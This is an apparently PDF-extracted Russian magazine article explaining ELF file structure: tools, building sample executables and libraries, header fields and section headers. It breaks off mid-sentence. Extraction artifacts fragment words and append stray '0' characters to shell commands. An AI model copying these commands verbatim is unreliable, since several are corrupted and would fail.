strings — с помощью этой известной­ утилиты­ можно­ увидеть­ имена­ всех

импортируемых­

(или экспортиру­

емых­

) функций­

,

а также­

библиотек­

,

из которых эти функции­

импортирова­

ны­ , названия­

секций­

и еще много­

чего интерес­ ного­

;

 

 

 

 

 

 

 

 

 

ldd — позволя­ ­ет выводить имена­ разделя­ ­емых библиотек­ , из которых импортируют­ ­ся те или иные функции­ , используемые­ исследуемой­ прог ­ раммой;

nm — может показывать­ таблицу­ имен из состава­ отладоч­ ­ной информа ­ ции, которая добавляет­ ­ся в ELF-файлы­ при их компиляции­ (эта отладоч­ ­ная информация­ с помощью команды­ strip может быть удалена­ из файла­ , и в этом случае­ утилита­ nm ничем не поможет);

objdump — способ­ ­на вывести­ информацию­ и содержимое­ всех элемен­ ­ тов исследуемо­ ­го файла­ , в том числе­ и в дизассем­ ­бли­рован­ном виде.

Часть перечисленно­ го­ (кроме­ hexdump и ldd) входит­ в состав­ пакета GNU Binutils. Если этого­ пакета в твоей­ системе­ нет, его легко­ установить­ . К при ­ меру, в Ubuntu это выглядит­ следующим­ образом­ :

sudo apt install binutils0

В принципе­

, имея все перечисленное­

, можно­

уже приступать­

к

 

анализу­

и исследова­

нию­

ELF-файлов­

без привлечения­

дополнитель­

ных­

средств.

Для большего­

удобства­ и нагляднос­

ти­ можно­ добавить к нашему инстру­ мен­ ­

тарию известный­

в кругах­ реверс инженеров­

дизассем­ блер­

IDA в версии­

 

 

 

 

 

 

Freeware (этой версии­

для наших целей будет более чем достаточ­

но­ , хотя

 

 

 

 

 

 

никто­ не запреща­

ет­ восполь­

зовать­

ся­ версиями­

Home или Pro, если есть воз ­

можность за них заплатить­

).

 

 

 

 

 

 

 

 

 

 

 

 

Анализ­ заголовка­ ELF-файла­ в IDA Freeware

Также­ неплохо­ было бы использовать­ вместо­ hexdump что то поудобнее­ , нап ­ ример 010 Editor или wxHex Editor. Первый­ hex-редактор­ — достой­ ­ная альтер­ ­ натива Hiew для Linux (в том числе­ и благода­ ­ря возможнос­ ­ти использовать­

в нем большое­ количество­ шаблонов­ для различных­ типов файлов­ , среди­ них и шаблон­ для парсинга­ ELF-файлов­ ). Однако­ он небесплат­ ­ный (стоимость­ лицензии­ начинается­ с 49,95 доллара­ , при этом есть 30-дневный­ триаль­ ­ный период­ ).

Анализ­ заголовка­ ELF-файла­ в 010 Editor

Говоря­ о дополнитель­ ных­ инстру­ мен­ тах­ , которые облегчают­ анализ­ ELF-фай ­ лов, нельзя­ не упомянуть­ Python-пакет lief. Используя­ этот пакет, можно­ писать Python-скрипты­ для анализа­ и модификации­ не только­ ELF-файлов­ , но и файлов­ PE и MachO. Скачать­ и установить­ этот пакет получится­ традици­ ­ онным для Python-пакетов способом­ :

pip install lief0

ПОДОПЫТНЫЕ ЭКЗЕМПЛЯРЫ

В Linux (да и во многих­ других­ современ­ ­ных UNIX-подобных­ операци­ ­онных системах­ ) формат­ ELF использует­ ­ся в несколь­ ­ких типах файлов­ .

Исполня­ ­емый файл — содержит­ все необходимое­ для создания­ сис ­ темой образа­ процес­ ­са и запуска­ этого­ процес­ ­са. В общем случае­ это инструк­ ­ции и данные­ . Также­ в файле­ может присутс­ ­тво­вать описание­ необходимых­ разделя­ ­емых объектных­ файлов­ , а также­ символь­ ­ная и отла ­ дочная­ информация­ . Исполняемый­ файл может быть позиционно­ зависи ­ мым (в этом случае­ он грузит­ ­ся всегда­ по одному­ и тому же адресу­ , для 32-разрядных­ программ­ обычно­ это 0x8048000, для 64-разрядных­ — 0x400000) и позиционно­ независимым­ исполняемым­ файлом­ (PIE —

Position Independent Execution или PIC

— Position Independent Code).

 

 

 

 

 

В этом случае­ адрес загрузки­

файла­ может меняться­ при каждой­ загрузке­

.

При постро­ ении­

позиционно­

независимо­

го­ исполняемо­ го­ файла­ исполь ­

зуются­ такие же принципы­

, как и при постро­ ении­

разделя­

емых­

объектных­

файлов­ .

 

 

 

 

 

 

 

 

 

 

Переме­ ­щаемый файл — содержит­ инструк­ ­ции и данные­ , при этом они могут быть статичес­ ­ки связаны­ с другими­ объектны­ ­ми файлами­ , в резуль ­ тате чего получается­ разделя­ ­емый объектный­ или исполняемый­ файл.

К этому­ типу относят­ ся­ объектные­ файлы­ статичес­ ких­ библиотек­ (как пра ­ вило, для статичес­ ких­ библиотек­ имя начинается­ с lib и применя­ ется­ рас ­ ширение *.a), однако­ , как мы уже говорили­ , расширение­ в Linux прак ­ тически­ ничего не определя­ ет­ . В случае­ статичес­ ких­ библиотек­ это просто­ дань традиции­ , а работоспособ­ ность­ библиоте­ ки­ будет обеспечена­

с любым именем­ и любым расширени­ ­ем.

Разделя­ ­емый объектный­ файл — содержит­ инструк­ ­ции и данные­ , может быть связан­ с другими­ перемещаемы­ ­ми файлами­ или разделя­ ­емы ­ ми объектны­ ­ми файлами­ , в результате­ чего будет создан­ новый объектный­ файл. Такие файлы­ могут выполнять­ функции­ разделя­ ­емых библиотек­ (по аналогии­ с DLL-библиоте­ ­ками Windows). При этом в момент запуска­ прог ­ раммы на выполнение­ операци­ ­онная система­ динамичес­ ­ки связыва­ ­ет эту разделя­ ­емую библиоте­ ­ку с исполняемым­ файлом­ программы­ и создает­ ­ся исполняемый­ образ приложе­ ­ния. Опять же традици­ ­онно разделя­ ­емые библиоте­ ­ки имеют­ расширение­ *.so (от английско­ ­го Shared Object).

Файл дампа­ памяти — файл, который содержит­ образ памяти того или иного­ процес­ ­са на момент его завершения­ . В определен­ ­ных ситу ­ ациях ядро может создавать­ файл с образом­ памяти аварий­ ­но завер ­ шившегося­ процес­ ­са. Этот файл также­ создает­ ­ся в формате­ ELF, однако­ мы о такого рода файлах­ говорить не будем, посколь­ ­ку задача исследова­ ­ ния дампов­ и содержимого­ памяти достаточ­ ­но объемна­ и требует­ отдель ­ ной статьи.

Для наших изысканий­ нам желательно­ иметь все возможные­ варианты­ исполняемых­ файлов­ из перечисленных­ выше, чем мы сейчас­ и займем­ ся­ .

Делаем исполняемые файлы

Не будем выдумывать­ что то сверхориги­ ­наль­ное, а остановим­ ­ся на клас ­ сическом­ хелловор­ ­лде на С:

#include <stdio.h>

int main(int argc, char* argv[]) {

printf("Hello world");

return 0;

}

Компилиро­ ­вать это дело мы будем с помощью GCC. Современ­ ­ные версии­ Linux, как правило­ , 64-разрядные­ , и входящие­ в их состав­ по умолчанию­ средства­ разработ­ ­ки (в том числе­ и компилятор­ GCC) генерируют­ 64-раз ­ рядные приложе­ ­ния. Мы в своих­ исследова­ ­ниях не будем отдельно­ вникать­

в 32-разрядные­ ELF-файлы­ (по большому­ счету­ отличий­ от 64-разрядных­ ELF-файлов­ в них не очень много­ ) и основные усилия­ сосредото­ ­чим именно­ на 64-разрядных­ версиях­ программ­ . Если у тебя возникнет­ желание поэкспе­ ­ риментировать­ с 32-разрядны­ ­ми файлами­ , то при компиляции­ в GCC нужно­ добавить опцию -m32, при этом, возможно­ , потребу­ ­ется установить­ биб ­ лиотеку­ gcc-multilib. Сделать­ это можно­ пример­ ­но вот так:

sudo apt-get install gcc-multilib0

Итак, назовем наш хелловорлд­ example.c (кстати­ , здесь как раз один из нем ­ ногих случаев­ , когда­ в Linux расширение­ имеет­ значение­ ) и начнем­

с исполняемо­ ­го позиционно­ зависимого­ кода:

gcc -no-pie example.c -o example_no_pie0

Как ты уже догадался­ , опция -no-pie как раз и говорит компилято­ ру­ собрать­ не позиционно­ независимый­ код.

Вообще­ , если говорить правиль­ но­ , то GCC — это не совсем­ компилятор­ . Это комплексная­ утилита­ , которая в зависимос­ ти­ от расширения­ входного­ файла­ и опций вызывает­ нужный­ компилятор­ или компонов­ щик­ с соответс­ тву­ ­ ющими­ входными­ данными­ . Причем­ из С или другого­ высокоуров­ невого­ язы ­ ка сначала­ исходник трансли­ рует­ ся­ в ассемблер­ ный­ код, а уже затем все это окончатель­ но­ преобра­ зует­ ся­ в объектный­ код и собирается­ в нужный­ нам

ELF-файл.

В целом можно­ выделить четыре этапа­ работы GCC:

препроцес­ сирова­ ние­ ;

трансля­ ция­ в ассемблер­ ный­ код;

преобра­ зова­ ние­ ассемблер­ ного­ кода в объектный­ ;

компонов­ ка­ объектно­ го­ кода.

Чтобы­ посмотреть­ на промежу­ точ­ ный­ результат­ , к примеру­ в виде ассем ­ блерного­ кода, используй­ в GCC опцию -S:

gcc -S -masm=intel example.c0

Обрати­ внимание­ на два момента­ . Первый­ — мы в данном­ случае­ не задаем­ имя выходного­ файла­ с помощью опции -o (GCC сам определит­ его из исходного­ , добавив расширение­ *.s, что и означает­ присутс­ ­твие в файле­ ассемблер­ ­ного кода). Второй­ момент — опция -masm=intel, которая говорит о том, что ассемблер­ ­ный код в выходном­ файле­ необходимо­ генери ­ ровать с использовани­ ­ем синтакси­ ­са Intel (по умолчанию­ будет синтаксис­

AT&T, мне же, как и, наверное­ , большинс­ ­тву, синтаксис­ Intel ближе­ ). Также­

вэтом случае­ опция -no-pie не имеет­ смысла­ , посколь­ ­ку ассемблер­ ­ный код

влюбом случае­ будет одинако­ ­вый, а переносимость­ обеспечива­ ­ется на эта ­ пе получения­ объектно­ ­го файла­ и сборки­ программы­ .

На выходе получим файл example.s с таким вот содержимым­ (полностью­

весь файл показывать­ не будем, чтобы­ не занимать много­ места­ ):

.file "example.c"

.intel_syntax noprefix

.text

.section .rodata

.LC0:

.string "Hello world"

.text

.globl main

.type main, @function

main:

.LFB0:

.cfi_startproc

endbr64

push rbp

.cfi_def_cfa_offset 16

.cfi_offset 6, -16

mov rbp, rsp

.cfi_def_cfa_register 6

lea rdi, .LC0[rip]

call puts@PLT

mov eax, 0

...

Обрати­ внимание­ на строку­ call puts@PLT — это вызов сишной­ функции­ puts(). Несмотря­ на то что в исходнике­ мы примени­ ­ли функцию­ printf(), компилятор­ самостоятель­ ­но провел­ небольшую­ оптимиза­ ­цию и заменил ее puts(), посколь­ ­ку в printf() мы не использовали­ какие либо специфи­ ­като ­ ры форматиро­ ­вания вывода строки­ , а puts() работает­ быстрее­ , чем printf( ).

В целом поэтапная­ работа GCC при компиляции­ файла­ exmple.c пред ­ ставлена­ в виде схемы­ на рисунке­ .

Этапы­ процес­ са­ компиляции­ файла­ example.c

Исполь­ ­зуя опции -E, -S и -c, можно­ остановить­ процесс­ компиляции­ в нуж ­ ном месте­ и зафиксировать­ результат­ каждого­ этапа­ в виде выходного­ файла­ .

Далее­ сделаем­ позиционно­ независимый­ исполняемый­ ELF-файл (здесь все просто­ и никаких дополнитель­ ­ных опций не нужно­ ):

gcc example.c -o example0

Также­ для разнооб­ разия­ стоит­ написать хелловорлд­ на ассембле­ ре­ с исполь ­ зованием­ системных­ вызовов Linux, а не функций­ из сишных­ библиотек­ . Используем­ для этого­ Fasm. Совсем­ недавно­ мы уже обращались­ к этому­ языку­ (правда­ , под Windows) и разобрались­ , что это такое. Сегодня­ применим­ полученные­ знания­ в Linux. Для простоты­ возьмем­ пример­ программы­ hello64.asm, которая идет в комплек­ те­ с Fasm:

format ELF64 executable 3

segment readable executable

entry

$

 

 

 

mov

edx, msg_size ; размер строки

lea

rsi, [msg]

 

mov

edi, 1

; Номер стандартного потока вывода stdout

mov

eax, 1

; Код вызова системной функции sys_write

syscall

 

xor

edi, edi

; Код возврата из системной функции sys_exit

mov

eax, 60

; Код вызова системной функции sys_exit

syscall

segment readable writeable

msg db 'Hello world!', 0xA

msg_size = $-msg ; Длина выводимой строки

Скомпилиру­ ем­ это все с помощью Flat Assembler:

fasm hello64.asm example_asm0

На выходе получим позиционно­ зависимый­ исполняемый­ файл, который не использует­ функции­ из сторон­ них­ библиотек­ .

Делаем перемещаемый файл и разделяемую библиотеку

Для перемещаемо­ ­го или разделя­ ­емо­го (в виде динамичес­ ­кой библиоте­ ­ки) ELF-файла­ необходимо­ немножко­ изменить­ наш хелловорлд­ :

#include <stdio.h>

extern int hello_world_function() {

printf("Hello world\n");

return 0;

};

Назовем­ этот исходник, к примеру­ , exmple_lib.c и скомпилиру­ ­ем (без лин ­ ковки) с примене­ нием­ опции -c:

gcc -c example_lib.c -o example_lib.o0

Далее­ напишем и выполним­ в терминале­ следующее­ :

ar rc libstatic_example.a example_lib.o0

Если­ ты погуглишь­

назначение­

утилиты­

ar, то увидишь­

, что это архиватор­

. Так

сложилось­

, что по своему­

прямому­

 

предназна­

чению­

(создавать­

архивы­

из файлов­ ) он применя­

ется­

крайне­ редко­ , а вот для создания­

статичес­

ки­ при ­

линоковы­

ваемых­

библиотек­

— почти­ всегда­ . Дело в том, что статичес­

кие­ биб ­

лиотеки­ (те самые, с расширени­

ем­ *.a и префик­ сом­

lib в имени­ файла­ ) —

это не что иное, как архив, состоящий­

из несколь­

ких­ скомпилиро­

ван­ ных­ (без

линковки­

) ELF-файлов­ , а также­ информации­

об индексации­

этих файлов­

для быстро­ го­ поиска­ нужных­ функций­

при общей линковке­

приложе­

ния­ . Кста ­

ти, проиндекси­

ровать­

нашу библиоте­

ку­ можно­ такой вот командой­ :

 

 

 

 

ranlib libstatic_example.a0

Итак, с перемещаемым­ ELF разобрались­ , теперь сделаем­ разделя­ ­емый. Возьмем­ уже готовый скомпилиро­ ­ван­ный без линковки­ объектный­ файл example_lib.o и скормим­ его GCC с опцией­ -shared:

gcc -shared example_lib.o -o libdynamic_example.so0

Посколь­ ку­ Linux в случае­ необходимос­ ти­ ищет библиоте­ ки­ в специаль­ но­ отведен­ ных­ каталогах­ , то получивший­ ся­ в результате­ файл нужно­ сложить­ в какой либо из этих каталогов­ , к примеру­ /usr/lib или /lib:

sudo cp libdynamic_example.so /usr/lib0

Теперь­ нужно­ проверить­ работоспособ­ ­ность наших библиотек­ . Для этого­ напишем программу­ , которая будет вызывать функцию­ hello_world_function() из этих библиотек­ :

int hello_world_function();

int main(int argc, char* argv[]) {

int return_code = hello_world_function();

return return_code;

}

Скомпилиру­ ем­ ее со статичес­ кой­ библиоте­ кой­ :

gcc example_ext_func.c lib_static_example.a -o example_static0

И сделаем­ то же самое с динамичес­ кой­ библиоте­ кой­ :

gcc example_ext_func.c -ldynamic_example -o example_dynamic0

Обрати­ внимание­ , что при компиляции­ с разделя­ емой­ библиоте­ кой­ не ука ­ зывается­ ее префикс­ lib, а также­ расширение­ и предваря­ ется­ все это опцией­

-l.

Теперь­ у нас есть образцы практичес­ ­ки всех возможных­ вариантов­ ELFфайлов­ и мы можем приступить­ к исследова­ ­ниям устройства­ ELF-файлов­ раз ­ личных типов.

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМСЯ С ВНУТРЕННИМ УСТРОЙСТВОМ ELF-ФАЙЛОВ

ЗАГЛЯДЫВАЕМ ВНУТРЬ ELF-ФАЙЛА

ELF-файл состоит­ из заголовка­ и данных­ , которые включают­ в себя область так называемых­ заголовков­ программ­ , область заголовков­ секций­ и самих секций­ . В последних­ как раз и содержатся­ код, данные­ и все остальное­ , необходимое­ для использования­ этого­ ELF-файла­ по назначению­ . Струк ­ тура 64-разрядно­ ­го ELF-файла­ схематич­ ­но показана­ на рисунке­ ниже.

 

 

 

 

 

Общая­

структура­

64-разрядно­

го­ ELF-файла­

 

Присутс­

твие­

заголовка­ и секций­

с кодом, данными­

и

всем остальным­

для ELF-файлов­ обязатель­

но­ , тогда­ как одновремен­ ное­

наличие заголовков­

программ­

и заголовков­ секций­ — нет. В файле­ могут одновремен­ но­ присутс­ ­

твовать­

обе эти области с заголовками­

программ­

и секций­

либо одна из них.

Чуть позже­ мы разберем­

ся­ , от чего это зависит.

 

 

 

 

 

 

Специфи­

кацию­

формата­

ELF-файлов­

можно­ взять здесь, а отличия­

64-

 

 

 

 

 

 

 

разрядных­

«эльфов­ » от 32-разрядных­

посмотреть­

вот здесь.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Заголовок ELF-файла

Как мы уже выяснили­ , любой ELF-файл начинается­ с заголовка­ , который представ­ ­ляет собой структуру­ , содержащую­ информацию­ о типе файла­ , его разряднос­ ­ти, типе архитек­ ­туры, версии­ ABI (Application Binary Interface), а так ­

же о том, где в файле­ искать все остальное­ . Формат­ структур­ заголовка­ как для 32-разрядных­ , так и для 64-разрядных­ ELF-файлов­ (как, впрочем­ , и форматы­ всех остальных­ структур­ ELF-файлов­ ) можно­ посмотреть­ в файле­ /

usr/include/elf.h.

Первые­ 16 байт заголовка­ (массив­ e_ident) служат­ для идентифика­ ции­ ELF-файла­ . Первые­ четыре байта­ — это магическая­ констан­ та­ , состоящая­

из байта­ 0x7f, за которым идут ASCII-коды символов­ E, L и F. По наличию этих байтов­ загрузчик­ Linux (или, к примеру­ , утилита­ fle) определя­ ­ет, что перед ним именно­ ELF-файл (в PE-файлах­ Windows аналогич­ ­ную функцию­ выполняет­ комбинация­ из ASCII-кодов символов­ M и Z). Следующие­ в этом массиве­ байты­ в файле­ elf.h обознача­ ­ются такими констан­ ­тами:

EI_CLASS — байт определя­ ­ет разрядность­ ELF-файла­ (значение­ 0x01 соответс­ ­тву­ет 32 разрядам­ , значение­ 0x02 — 64);

EI_DATA — значение­ этого­ байта­ определя­ ­ет порядок­ следова­ ­ния байтов­ данных­ при размещении­ их в памяти (Little Endian или Big Endian). Архитек­ ­ тура x86 использует­ размещение­ байтов­ Little Endian, поэтому­ значение­ этого­ байта­ будет равно­ 0x01;

EI_VERSION — версия­ специфи­ ­кации ELF-формата­ . Коррек­ ­тное значение­ в настоящее­ время­ — 0x01;

EI_OSABI и EI_ABIVERSION определя­ ­ют версию­ двоично­ ­го интерфейса­ и операци­ ­онную систему­ , для которой откомпилиро­ ­ван файл. Для Linux первый­ из этих двух байтов­ обычно­ имеет­ значение­ 0x00 или 0x03, вто ­ рой — 0x00. Общую специфи­ ­кацию ABI (так называемую­ ABI System V) можно­ взять отсюда­ , расширение­ этой специфи­ ­кации для архитек­ ­туры i386 (это все, что касается­ 32-разрядных­ ELF-файлов­ ) лежит здесь. Рас ­ ширение для x86-64 (это для 64-разрядных­ программ­ ) — тут;

EI_PAD в настоящее­ время­ не несет никакой нагрузки­ и заполнено­ нулевыми­ значени­ ­ями (в местах­ с индексами­ от 9 по 15).

Далее­ после­ массива­ e_ident расположе­ ­ны следующие­ поля:

e_type — значение­ этого­ поля, как можно­ предположить­ , определя­ ­ет тип ELF-файла­ (имеются­ в виду те типы, о которых мы говорили­ перед соз ­ данием­ примеров­ для нашего исследова­ ­ния). Некоторые­ интересу­ ­ющие нас в первую­ очередь­ значения­ этого­ поля:

ET_EXEC — исполняемый­ файл (значение­ равно­ 0x02). Данное­ зна ­

чение использует­ ся­ только­ для позиционно­ зависимых­ исполняемых­ ELF-файлов­ (например­ , тех, которые были скомпилиро­ ваны­ GCC

с опцией­ -no-pie);

ET_REL — перемещаемый­ файл (значение­ в этом случае­ — 0x01);

ET_DYN — разделя­ ­емый объектный­ файл (значение­ равно­ 0x03). Дан ­ ное значение­ характерно­ как для динамичес­ ­ки подклю­ ­чаемых биб ­ лиотек (тех самых, которые обычно­ имеют­ расширение­ *.so), так и для позиционно­ независимых­ исполняемых­ файлов­ . Как они различа­ ­ются, мы обсудим­ чуть позже­ ;

e_machine

значени­

ем­

 

этого­ поля определя­

ется­

архитек­ тура­ ,

для которой собствен­ но­ и создан­ ELF-файл. Посколь­ ку­ мы в первую­ оче ­

редь говорим об архитек­ туре­

x86 в 64-разрядном­

исполнении­ , то зна ­

чение этого­ поля будет EM_X86_64 (равно­ 0x42). Понятно­ , что можно­

встретить­

и другое­ значение­

, например­

EM_386 (для 32-разрядно­

го­ слу

чая архитек­ туры­

x86, равно­ 0x03) или, к примеру­

, EM_ARM (для процес­ ­

соров ARM и равное­ 0x28);

 

 

 

 

 

 

 

 

e_version — дублиру­ ­ет значение­ байта­ EI_VERSION из массива­ e_dent;

e_entry — точка­ входа­ в ELF-файл, с которой начинается­ выполнение­ программы­ . Для позиционно­ зависимых­ файлов­ здесь лежит абсолют­ ­ный виртуаль­ ­ный адрес начала выполнения­ программы­ , для позиционно­ независимо­ ­го кода сюда пишется­ смещение­ относитель­ ­но виртуаль­ ­ного адреса­ начала образа­ ELF-файла­ , загружен­ ­ного в память;

e_phoff — смещение­ начала заголовков­ программ­ (обрати­ внимание­ : здесь, в отличие­ от точки­ входа­ , смещение­ относитель­ ­но начала файла­ , а не виртуаль­ ­ный адрес);

e_shoff — смещение­ начала заголовков­ секций­ (также­ относитель­ ­но начала файла­ );

e_flags — это поле содержит­ флаги­ , специфич­ ­ные для конкрет­ ­ной архи ­ тектуры­ , для которой предназна­ ­чен файл. В нашем случае­ (имеется­ в виду архитек­ ­тура x86) поле имеет­ значение­ 0x00;

e_ehsize — размер­ заголовка­ ELF-файла­ (для 32-разрядно­ ­го он равен 52 байтам­ , для 64-разрядно­ ­го — 64 байтам­ );

e_phentsize — размер­ одной записи в разделе­ заголовков­ программ­ (размер­ одного­ заголовка­ );

e_phnum — число­ записей в разделе­ заголовков­ программ­ (число­ заголовков­ программ­ );

e_shentsize — размер­ одной записи в разделе­ заголовков­ секций­ (раз ­ мер одного­ заголовка­ );

e_shnum — число­ записей в разделе­ заголовков­ секций­ (число­ заголов ­ ков программ­ );

e_shstrndx — это поле содержит­ индекс (то есть порядковый­ номер в разделе­ заголовков­ секций­ ) заголовка­ одной из секций­ , которая называ ­ ется .shstrtab. Эта секция­ содержит­ имена­ всех остальных­ секций­ ELFфайла­ в кодировке­ ASCII с завершающим­ нулем.

Чтобы­ посмотреть­ на заголовок­ ELF-файла­ воочию, восполь­ ­зуем­ся утилитой­ readelf (здесь опция -W указыва­ ­ет, что необходимо­ выводить полные­ строки­ , без ограниче­ ­ния в 80 символов­ в строке­ , а опция -h говорит, что вывести­ нужно­ именно­ заголовок­ ):

readelf -W -h example_asm0

На выходе получим следующую­ картину­ .

Вывод­ заголовка­ ELF-файла­ с помощью readelf

Также­ посмотреть­ на заголовок­ ELF-файла­ можно­ с помощью любого шес ­ тнадцатерич­ ­ного редактора­ (к примеру­ , на рисунке­ с hex-редактором­ 010 Editor выделен заголовок­ ELF-файла­ с нашим хелловор­ ­лдом на ассембле­ ­ре) или привлечь­ к этому­ делу «Иду» (на рисунке­ выше видно­ заголовок­ этого­ же файла­ ).

На Python можно­ написать простой­ скрипт (с использовани­ ­ем lief), который может вывести­ как заголовок­ полностью­ , так и отдельные­ его эле ­ менты­ :

import lief

elf_object = lief.parse('example_asm')

header = elf_object.header

print(header)

# Отдельно выведем точку входа

print('Entry point: %08x' % header.entrypoint)

Ну и наконец, можно­ написать в терминале­ (в данном­ случае­ информации­ будет несколь­ ко­ меньше­ по сравнению­ с readelf):

objdump -f example_asm0

Резуль­ тат­ работы objdump: вывод информации­ о заголовке­ ELF-файла­

Продолжение статьи0

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

w Click

 

BUY

o m

ВЗЛОМ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМСЯ С ВНУТРЕННИМ УСТРОЙСТВОМ ELF-ФАЙЛОВ

СЕКЦИОННОЕ ПРЕДСТАВЛЕНИЕ ELF-ФАЙЛОВ

Код и данные­ в ELF-файле­ логически­ разделены­ на секции­ , которые пред ­ ставляют­ собой непересека­ ющиеся­ смежные­ блоки­ , расположен­ ные­ в файле­ друг за другом­ без промежут­ ков­ . У секций­ нет определен­ ной­ общей струк ­ туры: в каждой­ секции­ организа­ ция­ размещения­ данных­ или кода зависит от ее назначения­ . Более того, некоторые­ секции­ вообще­ могут не иметь какой либо структуры­ , а представ­ лять­ собой неструк­ туриро­ ван­ ный­ блок кода или данных­ . Каждая­ секция­ описыва­ ется­ своим­ заголовком­ , который хранит­ ся­ в таблице­ заголовков­ секций­ . В заголовке­ перечислены­ свойства­ секции­ , а также­ местонахож­ дение­ содержимого­ самой секции­ в файле­ .

Вообще­ , если вниматель­ ­но посмотреть­ специфи­ ­кацию ELF-файла­ , то можно­ увидеть­ , что деление на секции­ предназна­ ­чено для организа­ ­ции работы компонов­ ­щика, а с точки­ зрения­ исполнения­ файла­ секцион­ ­ная орга ­ низация­ не несет никакой полезной­ информации­ . То есть не нуждающиеся­

в компонов­ ке­ ELF-файлы­ (неперемеща­ емые­ исполняемые­ файлы­ ) могут не иметь таблицы­ заголовков­ секций­ (и во многих­ случаях­ ее не имеют­ ). Для загрузки­ в память процес­ са­ и выполнения­ ELF-файлов­ использует­ ся­ еще одна логическая­ организа­ ция­ — сегмен­ тная­ , о которой мы поговорим­ ниже. Если в ELF-файле­ нет таблицы­ заголовков­ секций­ , поле e_shoff

взаголовке­ будет равно­ нулю.

Кпримеру­ , если попробовать­ вывести­ информацию­ о секциях­ для нашего

неперемеща­

емо­ го­ исполняемо­ го­ файла­ , полученного­

в

начале статьи

из исходников­ примера­

Fasm (напомню­ , что файл мы назвали­

example_asm):

readelf -S -W example_asm0

то мы увидим­ , что раздела­ с таблицей­ заголовков­ секций­ в этом файле­ нет.

Попыт­ ка­ вывести­ таблицу­ заголовков­ секций­ для исполняемо­ го­ непере­ мещаемо­ го­ ELF-файла­

Если­ же мы произве­ дем­ аналогич­ ную­ операцию­ с любым другим­ файлом­ из числа­ наших подопытных­ экземпля­ ров­ (к примеру­ , файлом­ example_pie), то раздел­ с таблицей­ заголовков­ секций­ будет присутс­ тво­ вать­ .

Таблица­ заголовков­ секций­ в файле­ example_pie

Кстати­ , вывести­ информацию­ из раздела­ заголовков­ секций­ можно­ и с помощью Python (совмес­ ­тно с lief), написав пример­ ­но вот такой скрипт:

import lief

elf_object = lief.parse('example_pie')

for section in elf_object.sections:

print('Section {name} - size: {size} bytes'.format(name=section.

name, size=section.size))

Исходя­ из сказан­ ного­ выше, необходимо­ помнить­ , что о секцион­ ном­ пред ­ ставлении­ и организа­ ции­ ELF-файла­ имеет­ смысл говорить на этапе­ ком ­ поновки­ , а при загрузке­ файла­ в память процес­ са­ для его последу­ юще­ го­ выполнения­ использует­ ся­ сегмен­ тное­ представ­ ление­ и организа­ ция­ файла­ .

Заголовки секций

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, как мы выяснили­

, в заголовках­ секций­

(если в ELF-файле­ есть раздел­

с таблицей­

заголовков­ секций­ ) содержится­

информация­ о свойствах­

и мес ­

тонахождении­

той или иной секции­ . Заголовки­ секций­

представ­ ляют­

собой

структуру­ , описание­

которой можно­ найти­ в файле­ /usr/include/elf.h (там

эти структуры­

носят имена­ Elf64_Shdr и Elf32_Shdr для 64- и 32-разрядных­

файлов­ соответс­

твен­

но­ ).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Разберем­

ся­ с назначени­

ем­ каждого­

из полей этой структуры­

:

 

 

 

sh_name — содержит­ индекс имени­

секции­

(здесь имеется­

в виду номер

байта­ , с которого­ начинается­

 

имя

секции­

)

в таблице­

строк, которая,

в свою очередь­

, содержится­

в секции­

.shstrtab. Другими­

словами­

, все

имена­ секций­

хранят­ ся­ в специаль­

ной­

секции­

